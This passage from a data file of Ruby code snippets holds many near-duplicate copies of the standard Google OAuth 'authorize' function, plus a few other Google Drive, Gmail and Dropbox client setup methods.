CREDENTIALS_PATH\r\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\r\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\r\n user_id = \"default\"\r\n credentials = authorizer.get_credentials user_id\r\n\r\n # launch default browser to approve request of initial OAuth2 authorization\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url base_url: OOB_URI\r\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\r\n end\r\n\r\n credentials\r\nend", "def authorize\n\tFileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n\tclient_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n\ttoken_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n\tauthorizer = Google::Auth::UserAuthorizer.new(\n\t\tclient_id, SCOPE, token_store)\n\tuser_id = 'default'\n\tcredentials = authorizer.get_credentials(user_id)\n\tif credentials.nil?\n\t\turl = authorizer.get_authorization_url(\n\t\t\tbase_url: OOB_URI)\n\t\tputs \"Open the following URL in the browser and enter the \" +\n\t\t\"resulting code after authorization\"\n\t\tputs url\n\t\tcode = STDIN.gets\n\t\tcredentials = authorizer.get_and_store_credentials_from_code(\n\t\t\tuser_id: user_id, code: code, base_url: OOB_URI)\n\tend\n\tcredentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n credentials = authorizer.get_credentials('default')\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n\n server = WEBrick::HTTPServer.new(Port: 3000)\n server.mount_proc('/oauth2callback') do |req, res|\n code = req.query['code']\n credentials = authorizer.get_and_store_credentials_from_code(user_id: 'default', code: code, base_url: OOB_URI)\n res.body = 'Authorization successful. You can close this window and return to the terminal.'\n server.shutdown\n end\n\n warn('Open the following URL in your browser and authorize the app:')\n warn(url)\n server.start\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def google_api_client_auth\n options = {\n :application_name => \"i18n-docs\",\n :application_version => \"7.2\",\n }\n\n client = Google::APIClient.new(options)\n auth = client.authorization\n auth.client_id = oauth[\"client_id\"]\n auth.client_secret = oauth[\"client_secret\"]\n auth.scope =\n \"https://www.googleapis.com/auth/drive \" +\n \"https://docs.google.com/feeds/ \" +\n \"https://docs.googleusercontent.com/ \" +\n \"https://spreadsheets.google.com/feeds/\"\n auth.redirect_uri = \"urn:ietf:wg:oauth:2.0:oob\"\n [ client, auth ]\n end", "def authorize interactive\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil? and interactive\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n code = ask(\"Open the following URL in the browser and enter the resulting code after authorization\\n\" + url)\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\r\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\r\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\r\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\r\n user_id = \"default\"\r\n credentials = authorizer.get_credentials user_id\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url base_url: OOB_URI\r\n puts \"Open the following URL in the browser and enter the \" \\\r\n \"resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI\r\n )\r\n end\r\n credentials\r\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.readline()\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\r\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\r\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\r\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\r\n user_id = 'default'\r\n credentials = authorizer.get_credentials(user_id)\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url(base_url: OOB_URI)\r\n puts 'Open the following URL in the browser and enter the ' \\\r\n \"resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI\r\n )\r\n end\r\n credentials\r\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n \n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\n end", "def login\n system('clear')\n puts 'Authorizing...'.green\n\n @session ||= GoogleDrive.saved_session('config.json')\n @ws ||= @session.spreadsheet_by_key(ENV['SPREADSHEET_KEY']).worksheets[0]\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' +\n 'resulting code after authorization'\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authenticate()\n @client = Google::Cloud::TextToSpeech.new credentials: self.keyfile\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI,\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authenticate_google\n if not session[:username] or not session[:password]\n redirect_to :action => :login and return\n end\n @account = Service.new()\n @account.debug = true\n @account.authenticate(session[:username], session[:password])\n @calendars = service.calendars\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def google_oauth\n return nil if @oauth_attempted\n @oauth_attempted = true\n\n path = \"#{ENV['HOME']}/.config/#{::Google::Auth::CredentialsLoader::WELL_KNOWN_PATH}\"\n FileUtils.mkdir_p(File.dirname(path))\n storage = GoogleStorage.new(::Google::APIClient::FileStore.new(path))\n\n options = {\n client_id: @google_id.id,\n client_secret: @google_id.secret,\n scope: %w[openid email]\n }\n uri_options = {include_granted_scopes: true}\n uri_options[:hd] = @domain if @domain\n uri_options[:access_type] = 'online' if @online\n\n credentials = ::Google::Auth::UserRefreshCredentials.new(options)\n credentials.code = get_oauth_code(credentials, uri_options)\n credentials.fetch_access_token!\n credentials.tap(&storage.method(:write_credentials))\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization:\\n' + url\n code = $stdin.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(@CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(@CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: @CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, @SCOPE, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: @OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: @OOB_URI)\n end\n credentials\n end", "def set_client\n @client ||= DropboxClient.new(token) if service.downcase.include? \"dropbox\"\n\n if service.downcase.include? \"google\"\n @result = Array.new{Array.new}\n @client ||= Google::APIClient.new(\n :application_name => 'Bruse',\n :application_version => '1.0.0'\n )\n @drive = @client.discovered_api('drive', 'v2')\n # Get authorization for drive\n @client.authorization.access_token = token\n end\n end", "def service_setup()\n # Uncomment the following lines to enable logging.\n #log_file = File.open(\"#{$0}.log\", 'a+')\n #log_file.sync = true\n #logger = Logger.new(log_file)\n #logger.level = Logger::DEBUG\n #Google::APIClient.logger = logger # Logging is set globally\n\n authorization = nil\n # FileStorage stores auth credentials in a file, so they survive multiple runs\n # of the application. This avoids prompting the user for authorization every\n # time the access token expires, by remembering the refresh token.\n #\n # Note: FileStorage is not suitable for multi-user applications.\n file_storage = Google::APIClient::FileStorage.new(CREDENTIAL_STORE_FILE)\n if file_storage.authorization.nil?\n client_secrets = Google::APIClient::ClientSecrets.load\n # The InstalledAppFlow is a helper class to handle the OAuth 2.0 installed\n # application flow, which ties in with FileStorage to store credentials\n # between runs.\n flow = Google::APIClient::InstalledAppFlow.new(\n :client_id => client_secrets.client_id,\n :client_secret => client_secrets.client_secret,\n :scope => [API_SCOPE]\n )\n authorization = flow.authorize(file_storage)\n else\n authorization = file_storage.authorization\n end\n\n # Initialize API Service.\n #\n # Note: the client library automatically creates a cache file for discovery\n # documents, to avoid calling the discovery service on every invocation.\n # To set this to an ActiveSupport cache store, use the :cache_store parameter\n # (or, alternatively, set it to nil if you want to disable caching).\n service = Google::APIClient::Service.new(API_NAME, API_VERSION,\n {\n :application_name => \"Ruby #{API_NAME} samples: #{$0}\",\n :application_version => '1.0.0',\n :authorization => authorization\n }\n )\n\n return service\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization:\\n' + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(self.credentials_path)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: self.token_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPES, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\"\n puts url\n puts \"\"\n puts \"paste code here:\"\n code = gets\n\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize(credentials)\n credentials_path = \"#{PATH}#{credentials}-gmail.json\"\n token_path = \"#{PATH}#{credentials}-token.yaml\"\n client_id = Google::Auth::ClientId.from_file credentials_path\n token_store = Google::Auth::Stores::FileTokenStore.new file: token_path\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = 'default'\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code( user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def initialize_gmail_service\n credentials = ::Google::Auth::UserRefreshCredentials.make_creds(json_key_io: File.new(APP_CONFIG[:google][:token_path], 'r'),\n scope: SCOPE)\n\n if credentials.nil?\n puts \"\\nThis application is not yet authorized to read from GMail. To complete authorization:\"\n puts '- Open the URL displayed below in a web browser'\n puts \"- Choose the account #{APP_CONFIG[:google][:journal_account_name]}\"\n puts '- Accept access for this service'\n puts \"\\n#{Rails.application.routes.url_helpers.gmail_auth_url}\\n\\n\"\n return\n end\n\n if credentials.refresh_token.blank?\n puts 'Error: Credentials do not contain a refresh_token. Please reset this account and re-authenticate.'\n return\n end\n\n # The saved token file does not have the secret, so insert it\n credentials.client_secret = APP_CONFIG[:google][:gmail_client_secret]\n\n @gmail = ::Google::Apis::GmailV1::GmailService.new\n @gmail.client_options.application_name = APPLICATION_NAME\n @gmail.authorization = credentials\n @gmail\n end", "def authorize(force_reload)\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if force_reload || credentials.nil?\n session[:is_authorized] = false\n redirect_to google_fetch_path\n return\n end\n credentials\n end", "def export\n @character = Character.find_by(id: params[:id])\n\n #creates client per instructions at:\n # http://gimite.net/doc/google-drive-ruby/GoogleDrive.html#method-c-login_with_oauth\n\n # client = OAuth2::Client.new(\n # ENV['GOOGLE_CLIENT_ID'], ENV['GOOGLE_CLIENT_SECRET'],\n # :site => \"https://accounts.google.com\",\n # :token_url => \"/o/oauth2/token\",\n # :authorize_url => \"/o/oauth2/auth\")\n # auth_url = client.auth_code.authorize_url(\n # :redirect_uri => \"http://localhost:3000/oauth\",\n # :scope =>\n # \"https://docs.google.com/feeds/ \" +\n # \"https://docs.googleusercontent.com/\")\n\n\n\n # redirect_to(\"https://accounts.google.com/o/oauth2/auth?scope=https://www.googleapis.com/auth/drive&redirect_uri=http://localhost:3000/oauth&response_type=code&client_id=#{ENV['GOOGLE_CLIENT_ID']}\")\n\n # token_result = HTTParty.post(\"https://accounts.google.com/o/oauth2/token\", :body => {:code => verification_code, :grant_type => \"authorization_code\"})\n\n # gets authorization code from Google\n # auth_code = params[:authenticity_token]\n # removes the = from the end of the code\n # auth_code.slice!(\"=\")\n\n # should get the authorization token\n # auth_token = client.auth_code.get_token(\n # auth_code, :redirect_uri => \"http://localhost:3000/oauth\")\n\n\n\n # create a session of Google Drive where it uses OAuth2\n drive_session = GoogleDrive.login_with_oauth(session[:auth_token])\n binding.pry\n\n # input a variable for naming the sheet\n # probably call it the character's name\n drive_session.create_spreadsheet(\"main_test\")\n\n session_spreadsheet = drive_session.spreadsheet_by_title(\"main_test\")\n\n session_worksheet = session_spreadsheet.worksheets[0]\n\n session_worksheet[1,1] = Time.now\n session_worksheet[2,1] = \"Owner:\"\n session_worksheet[2,2] = current_user.name\n\n session_worksheet[4,1] = \"Name:\"\n session_worksheet[4,2] = @character.name\n session_worksheet[4,3] = \"Age:\"\n session_worksheet[4,4] = @character.age\n session_worksheet[4,5] = \"Gender:\"\n session_worksheet[4,6] = 